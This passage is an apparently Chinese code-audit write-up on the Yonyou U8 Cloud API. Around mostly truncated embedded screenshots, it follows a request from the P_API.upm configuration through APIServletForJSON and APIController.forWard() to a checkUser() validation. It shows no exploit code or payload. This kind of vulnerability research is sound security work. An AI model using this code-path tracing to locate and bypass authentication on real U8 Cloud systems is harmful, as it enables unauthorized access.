<p blockindex=20><img src="data:image/png;base64,iVBORw0KGgoAAAANSUhEUgAABoEAAAJUCAYAAADaeY+mAAAACXBIWXMAAA7EAAAOxAGVKw4bAAAgAElEQVR4nOzdd3gcxcH48e/cnk4nnXrvxWq2invDvWCDAZsOoRMSCJCXN52Q5H1DkpcUEvJLQkgIoSRACAmhdzfce5Fc5W713nu52/n9cSdb5STbupMl2fN5Hh7ku73d2d1pOzM7IzIyMiSXMX9/f8dfddTXiwv8DVBXR70Y+Hdntj+PbbuT/v4EOP6ur693fJbJVUvG4kcDR1av5GA/YZbSn4CAs//u+r2iKIqiKIqiKIqiKIqiKIqiKJcH43AHYLid7Rw5/86ZHh0q59Gpc2b7C+gAAhD19fTpuvH3w18IpGyioY5+gy1EParfR1EURVEURVEURVEURVEURVEuX4bhDoBy/qT0J2tslP0fJUUUXGCnkqIoiqIoiqIoiqIoiqIoiqIolw/VCTSCSOlP5qxZZMb59/3OP46sq5Ywzl8gZT1HDuUPQwgVRVEURVEURVEURVEURVEURRktLvvp4EYcnyjGzYhm3AyQ9fU0APjZp4ADkLKekp39rwWkKIqiKIqiKIqiKIqiKIqiKIoCqhNoRBGinsIjR/AbG0W0vz/C35+ud4KkrKehpIQjhw5QoDqAFEVRFEVRFEVRFEVRFEVRFEU5B5GRkSGHOxCKoiiKoiiKoiiKoiiKoiiKoiiKe6k1gRRFURRFURRFURRFURRFURRFUS5BqhNIURRFURRFURRFURRFURRFURTlEqQ6gRRFURRFURRFURRFURRFURRFUS5BqhNIURRFURRFURRFURRFURRFURTlEqQ6gRRFURRFURRFURRFURRFURRFUS5BqhNIURRFURRFURRFURRFURRFURTlEqQ6gRRFURRFURRFURRFURRFURRFUS5BqhNIURRFURRFURRFURRFURRFURTlEqQ6gRRFURRFURRFURRFURRFURRFUS5BqhNIURRFURRFURRFURRFURRFURTlEqQ6gRRFURRFURRFURRFURRFURRFUS5BqhNIURRFURRFURRFURRFURRFURTlEqQ6gRRFURRFURRFURRFURRFURRFUS5BqhNIURRFURRFURRFURRFURRFURTlEqQ6gRRFURRFURRFURRFURRFURRFUS5BqhNIURRFURRFURRFURRFURRFUZRLkpQa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 truncated
|
||||
<p blockindex=21>根据这项目的惯性,一般就是在各种配置文件中进行的配置。全局搜索一下<code>u8cloud_api</code>,在<code>/modules/uap/META-INF/P_API.upm</code>中找到如下所示的配置,找到<code>u8c.server.APIServletForJSON</code>这么一个类。</p>
|
||||
<p blockindex=22><img src=data:image/png;base64,iVBORw0KGgoAAAANSUhEUgAABcsAAADtCAYAAABgWS1aAAAACXBIWXMAAA7EAAAOxAGVKw4bAAAgAElEQVR4nOzdZ2Ac13nv/+/sovcOAiRAkGDvBMHeSXWK6s2SLMmyff23b5TYiRM7ca7j6xvn/hXbcew4cpGbZElWs6xeKImkRLH3ToIdJEESvffduS8WQwKLBQnsDrgA9/d5g7I7c87MnDkz++wz5xgTJ040sVlcXBwA9fX1dq9aRERERERERERERMR2jmBXQEREREREREREREQk2BQsFxEREREREREREZGQp2C5iIiIiIiIiIiIiIQ8BctFREREREREREREJOQpWC4iIiIiIiIiIiIiIU/BchEREREREREREREJeQqWi4iIiIiIiIiIiEjIU7BcREREREREREREREKeguUiIiIiIiIiIiIiEvIULBcRERERERERERGRkKdguYiIiIiIiIiIiIiEPAXLRURERERERERERCTkKVguIiIiIiIiIiIiIiFPwXIRERERERERERERCXkKlouIiIiIiIiIiIhIyFOwXERERERERERERERCnoLlIiIiIiIiIiIiIhLyFCwXERERERERERERkZCnYLmIiIiIiIiIiIiIhDwFy0VEREREREREREQk5ClYLiIiIiIiIiIiIiIhT8FyEREREREREREREQl5CpaLiIiIiIiIiIiISMhTsFxEREREREREREREQp6C5SIiIiIiIiIiIiIS8hQsFxEREREREREREZGQp2C5iIiIiIiIiIiIiIQ8BctFREREREREREREJOQpWC4iIiIiIiIiIiIiIU/BchEREREREREREREJeQqWi4iIiIiIiIiIiEjIU7BcREREREREREREREKeguUiIiIiIiIiIiIiEvIULBcRERERERERERGRkKdguYiIiIiIiIiIiIiEPAXLRURERERERERERCTkKVguIiIiIiIiIiIiIiFPwXIRERERERERERERCXkKlouIiIiIiIiIiIhIyFOwXERERERERERERERCnoLlIiIiIiIiIiIiIhLyFCwXERERERERERERkZCnYLmIiIiIiIiIiIiIhDwFy0VEREREREREREQk5ClYLiIiIiIiIiIiIiIhT8FyEREREREREREREQl5CpaLiIiIiIiIiIiISMhTsFxEREREREREREREQp6C5SIiIiIiIiIi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 truncated
|
||||
<p blockindex=23>继续跟进,在<code>doAction()</code>方法中,会先判断<code>request.getPathInfo()</code>,显然不是以<code>file.</code>开头,进入<code>APIController.forWard(request)</code>。</p>
|
||||
<p blockindex=24><img src="data:image/png;base64,iVBORw0KGgoAAAANSUhEUgAABzIAAAMxCAYAAACAePUBAAAACXBIWXMAAA7EAAAOxAGVKw4bAAAgAElEQVR4nOzdeXxcV3338c+5M9pljSxLli1Zm2VZkiXZ8e7YibPbhJCQBAIlLAmULVB4gBZK26cFWii0QKFpCPRhJyyFQkIIWezscWxHjnfZlrzI1mLJi6xlZC22NDPn+UOSrWVkS5pRJDnf9+uVV+SZe+45986Ze+6c3z3nmKKiIouIiIiIiIiIiIiIiIiIyCTiTHQBREREREREREREREREREQGUyBTRERERERERERERERERCYdBTJFREREREREREREREREZNJRIFNEREREREREREREREREJh0FMkVERERERERERERERERk0lEgU0REREREREREREREREQmHQUyRURERERERERERERERGTSUSBTRERERERERERERERERCYdBTJFREREREREREREREREZNJRIFNEREREREREREREREREJh0FMkVERERERERERERERERk0lEgU0RERERERGQKsdZF9LRkklJmMy3aTHRxRERERERExo17ogsgIiIiIiIiIpdno7NZdutdrLwqn+Q4FwDHHvsMj2xun+CSiYiIiIiIjA8FMkVEREREREQmOetkc+MDf8O16VETXRQREREREZE3zJQJZC69KpJPZxhso49PbvbRbkY2fY5NcvPgaofEINtbG+CXz3TxnG/0U/HEJLn43BIXORGW2mo/397vp22EZZpKxuv8vZlZm8dt//R5lnl6zlvji1/je09WXTJN/r0P8u4lMUP3FfDR1dlMY00FBzY/RWl5A/5gn1Xh/XzxQ6uJukwdtS0v8rN/+RW1w2xn4uex9PobKV4wjxmeBKLMeTqa6qje/ypbXtzMqXNXVl2wc+/lcw9cz7Sg9f8wz3zp33i9Y/Ifc8YdX+eDa5NHtK2/7Md87eevjXOJxsbamVz/11/lurTg53y86697xiJW3XQDhfOySPLE4Pg6OHv6GJW7n2fzpv20BoKnL77vv7m7pGcm986dD/PtX+0k0K+M1q7iPd/6EHmcY/dPPsUT5eNbp6ZK+6X2RyD09mvuPf/B+1ZOw1Y/yncffIqzg963s97OJ//6NmbQyNYHv8hztVdmnVL73e+9KdR+9zeW+8fL7nPGbXzsi28nlWZKv/cFNlZNrXPyZhSz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 truncated
|
||||
<p blockindex=25>在<code>APIController.forWard()</code>中,会发现存在<code>checkUser()</code>进行校验,跟进看一下。</p>
|
||||
<p blockindex=26><img src=data:image/png;base64,iVBORw0KGgoAAAANSUhEUgAABrQAAAONCAYAAADH5YCJAAAACXBIWXMAAA7EAAAOxAGVKw4bAAAgAElEQVR4nOzdd3xcV53//9edUe8azahazbLcSxyXOHbsxHbiNNI7gSTkS2Cpy2N3YVnY/QK78FvYwH6XEEqWACGQBEJ6r04c19iJe69qVhmNJKvXmfP7Y0aypBnZsiVZkvN+Ph5+PMaae+4998659XM/51gzZswwiIiIiIiIiIiIiIiIiIxRttGugIiIiIiIiIiIiIiIiMipKKAlIiIiIiIiIiIiIiIiY5oCWiIiIiIiIiIiIiIiIjKmKaAlIiIiIiIiIiIiIiIiY5oCWiIiIiIiIiIiIiIiIjKmKaAlIiIiIiIiIiIiIiIiY5oCWiIiIiIiIiIiIiIiIjKmKaAlIiIiIiIiIiIiIiIiY5oCWiIiIiIiIiIiIiIiIjKmKaAlIiIiIiIiIiIiIiIiY5oCWiIiIiIiIiIiIiIiIjKmKaAlIiIiIiIiIiIiIiIiY5oCWiIiIiIiIiIiIiIiIjKmKaAlIiIiIiIiIiIiIiIiY5oCWiIiIiIiIiIiIiIiIjKmKaAlIiIiIiIiIiIiIiIiY5oCWiIiIiIiIiIiIiIiIjKmKaAlIiIiIiIiIiIiIiIiY5oCWiIiIiIiIiIiIiIiIjKmKaAlIiIiIiIiIiIiIiIiY5oCWiIiIiIiIiIiIiIiIjKmKaAlIiIiIiIiIiIiIiIiY5oCWiIiIiIiIiIiIiIiIjKmKaAlIiIiIiIiIiIiIiIiY5oCWiIiIiIiIiIiIiIiIjKmKaAlIiIiIiIiIiIiIiIiY5oCWiIiIiIiIiIiIiIiIjKmKaAlIiIiIiIiIiIiIiIiY5oCWucZY+xExTtxuDKIj7JGuzoiIiIiIiIiIiIiIiJDFjbaFZDhYaLymH/1TVx0